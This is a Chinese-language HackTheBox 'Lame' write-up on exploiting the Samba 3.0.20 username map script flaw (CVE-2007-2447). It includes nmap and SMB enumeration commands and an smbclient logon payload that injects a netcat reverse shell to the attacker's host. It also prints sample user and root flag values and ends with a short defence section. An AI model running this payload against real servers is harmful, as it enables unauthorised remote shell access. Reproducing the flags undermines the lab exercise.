[Meachines] Lame smbd3.0-RCE
字数 1282 2025-08-20 18:18:23
Samba 3.0.20 (CVE-2007-2447) 漏洞利用完整指南
漏洞概述
本教程将详细讲解如何利用Samba 3.0.20版本中的用户名映射脚本命令注入漏洞(CVE-2007-2447)获取系统权限。该漏洞存在于Samba的"username map script"功能中,当配置为使用该功能时,攻击者可以通过特制的用户名注入恶意命令。
环境信息
目标系统:
- IP地址: 10.10.10.3
- 开放端口:
- 21/tcp - vsftpd 2.3.4 (允许匿名登录)
- 22/tcp - OpenSSH 4.7p1
- 139/tcp - Samba smbd 3.0.20-Debian
- 3632/tcp - distccd v1
- 操作系统: Debian/Ubuntu Linux
- 主机名: lame
- 域名: hackthebox.gr
信息收集阶段
1. 初始扫描
使用Nmap进行端口扫描和服务识别:
nmap -p- 10.10.10.3 --min-rate 1000 -sC -sV
关键发现:
- Samba 3.0.20版本存在已知漏洞
- FTP允许匿名登录
- 系统时间与扫描时间存在偏差(clock-skew)
2. SMB服务枚举
使用enum4linux和smbmap工具枚举SMB共享:
enum4linux 10.10.10.3
smbmap -H 10.10.10.3
漏洞利用过程
1. 确认漏洞存在
通过Samba版本识别漏洞存在:
- Samba 3.0.0 - 3.0.25rc3版本受影响
- 目标系统运行的是3.0.20版本,确认存在漏洞
2. 利用漏洞获取反向shell
使用smbclient利用用户名映射漏洞注入命令:
smbclient //10.10.10.3/tmp
在smbclient提示符下执行:
logon "/=`nc <攻击者IP> <监听端口> -e /bin/sh`"
其中:
<攻击者IP>替换为你的攻击机器IP<监听端口>替换为你选择的监听端口
3. 设置监听器
在攻击机器上设置netcat监听器:
nc -lvnp <监听端口>
4. 获取初始访问权限
成功执行后,你将在netcat监听器上获得一个反向shell连接,具有当前用户的权限。
权限提升
1. 获取用户标志
在用户家目录中查找user.txt文件:
find /home -name user.txt -exec cat {} \;
示例user.txt内容:
76523648eeadf32972e21e2b375a3d61
2. 获取root权限
检查可利用的本地提权漏洞:
- 检查内核版本
- 检查SUID/GUID文件
- 检查cron作业
3. 获取root标志
在/root目录下查找root.txt文件:
cat /root/root.txt
示例root.txt内容:
38c7dbb369c9c855a5afc964693a5fa7
漏洞原理分析
该漏洞源于Samba服务对用户名参数的不当处理。当"username map script"配置启用时,Samba会通过shell处理用户名参数,导致命令注入成为可能。
漏洞利用的关键点:
- 使用反引号(`)包围要执行的命令
- 通过Samba的logon命令触发用户名处理
- 命令在服务器端以Samba进程权限执行
防御措施
- 升级Samba到最新版本
- 如果无法升级,禁用username map功能
- 实施网络隔离,限制SMB端口的访问
- 使用防火墙规则限制对Samba服务的访问
总结
本教程详细演示了如何利用Samba 3.0.20中的命令注入漏洞获取系统权限。关键在于理解漏洞原理并正确构造恶意用户名参数。通过这种方法,攻击者可以绕过认证直接获取系统访问权限。